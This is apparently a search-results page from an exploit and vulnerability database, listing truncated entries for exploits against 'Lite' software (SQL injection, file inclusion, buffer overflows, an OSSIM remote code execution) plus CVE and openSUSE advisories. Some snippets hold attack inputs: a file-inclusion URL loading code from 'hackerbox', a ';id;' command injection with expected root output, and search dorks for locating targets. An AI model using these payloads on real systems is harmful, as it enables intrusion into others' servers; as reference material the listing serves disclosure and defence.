7893 matches found
NEWSolved Lite 1.9.2 - (abs_path) Remote File Inclusion Vulnerabilities
No description provided by source...
Joomla Spider Calendar Lite (com_spidercalendar) SQL Injection
No description provided by source. Exploit Title: Joomla spider calendar lite Remote Exploit dork: inurl:comspidercalendar Date: 29-08-2012 Author: Daniel Barragan D4NB4R Twitter: @D4NB4R site: http://poisonsecurity.wordpress.com/ Vendor: http://web-dorado.com/products/spider-calendar-lite.html...
MPlayer Lite r33064 - m3u Buffer Overflow Exploit (DEP Bypass)
No description provided by source. !/usr/bin/perl +Exploit Title: MPlayer Lite r33064 m3u Buffer Overflow ExploitDEP BYPASS +Date: 24\07\2011 +Author: C4SS!0 and h1ch4m +Software Link: http://sourceforge.net/projects/mplayer-ww/files/MPlayerRelease/Revision%2033064/mplayerliter33064.7z/download...
CGI Script Center Subscribe Me Lite 2.0 Administrative Password Alteration (2)
No description provided by source. source: http://www.securityfocus.com/bid/1607/info Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Subscribe Me Lite. This would grant the user full administrative privileges which includes addition o...
AdaptCMS Lite <= 1.3 - Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl ----------------------------------------------------- AdaptCMS Lite = 1.3 Blind SQL Injection Exploit Discovered By StAkeR - StAkeRathotmaildotit Discovered On 03/10/2008 ----------------------------------------------------- Download...
Winlog Lite SCADA HMI system SEH 0verwrite Vulnerability
No description provided by source. Vuln Title: Winlog Lite SCADA HMI system SEH 0verwrite Vulnerability Author: FaryadR a.k.a Ciph3r tested on : winXp sp3 and Winlog Lite 2.06.17 Version Twitter : https://twitter.com/faryadR Mail : [email protected] Website : http://0c0c0c0c.com Vendor :...
Quick CMS Lite 2.1 - 'admin.php' Cross Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/31210/info Quick.Cms.Lite is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser ...
PHlyMail Lite <= 3.4.4 (folderprops.php) Remote Include Vulnerability (2)
No description provided by source. --------------------------------------------------------------------------- PHlyMail Lite = 3.4.4 Build 3.04.04 PMpathhandler Remote File Include Vulnerability 2 --------------------------------------------------------------------------- Discovered By Kw3RLn...
Download Center Lite (DCL) <= 1.5 - Remote File Inclusion
No description provided by source. Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/downloadcenterlite.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-10...
Woltlab Burning Board Lite <= 1.0.2pl3e (pms.php) SQL Injection Exploit
No description provided by source. ?php printr' ------------------------------------------------------------------------------- Woltlab Burning Board Lite = 1.0.2pl3e pms.php / sql injection exploit by rgod mail: retrog at alice dot it site: http://retrogod.altervista.org dork: Powered by Burning...
SnapStream PVS Lite 2.0 Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/9375/info SnapStream PVS Lite is prone to a cross-site scripting vulnerability. An attacker could exploit this issue by enticing a victim user to follow a malicious link to a system hosting the software that contains...
Media Player 6.4.9.1 with K-Lite Codec Pack - DoS/Crash (.avi)
No description provided by source. Exploit Title: Media Player V6.4.9.1 with K-Lite Codec Pack DoS/Crash .avi file Date: 14/3/2010 Author: En|gma7 Software Link: http://www.free-codecs.com/Klitecodecpackdownload.htm Version: Media Player V6.4.9.1 with K-Lite Codec Pack 5.8.0 Tested on: WinXP/Vist...
Zanfi CMS lite 1.2 - Multiple Local File Inclusion Vulnerabilities
No description provided by source. +Zanfi CMS lite / Jaw Portal free index.php page Multiple Local File Inclusion +Discovered by SirGod +MorTal TeaM +Greetz E.M.I.N.EM,Ras,Puscasmarin,ToxicBlood,HrN,Kemrayz,007m + Dork : Powered by: Zanfi Solutions + Local File Inclusion PoC :...
Alienvault Open Source SIEM (OSSIM) 4.7.0 - av-centerd get_log_line() Remote Code Execution
Alienvault Open Source SIEM OSSIM 4.7.0 - av-centerd getlogline Remote Code Execution Exploit Title: AlienVault OSSIM uri'AV/CC/Util' - proxy'https://172.26.22.2:40007/av-centerd' - getlogline'All', '423d7bea-cfbc-f7ea-fe52-272ff7ede3d2' ,'172.26.22.1', 'test', '/var/log/auth.log', '1;id;' -...
Alienvault Open Source SIEM (OSSIM) < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution
Exploit Title: AlienVault OSSIM uri'AV/CC/Util' - proxy'https://172.26.22.2:40007/av-centerd' - getlogline'All', '423d7bea-cfbc-f7ea-fe52-272ff7ede3d2' ,'172.26.22.1', 'test', '/var/log/auth.log', '1;id;' - result; for @ $soapresponse0 print "$\n"; If vulnerable output will be: uid=0root gid=0roo...
openSUSE Security Update : libpcsclite1 (openSUSE-SU-2011:0092-1)
An integer overflow in pcsc-ccid and a buffer overflow in pcsc-lite while handling smart card responses have been fixed. CVE-2010-4530 and CVE-2010-4531 have been assigned to these issues. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin...
openSUSE Security Update : libpcsclite1 (openSUSE-SU-2010:0500-1)
This update of pcsc-liste fixes two vulnerabilities : - CVE-2009-4901: local denial of service daemon crash via crafted SCARDSETATTRIB message data, a related issue to CVE-2010-0407. - CVE-2009-4902: a buffer overflow might allow local users to gain privileges via crafted SCARDCONTROL message dat...
CVE-2014-3452
Filters\LAV\avfilter-lav-4.dll in K-lite Codec 10.4.5 and earlier allows remote attackers to cause a denial of service crash via a crafted .jpg file...
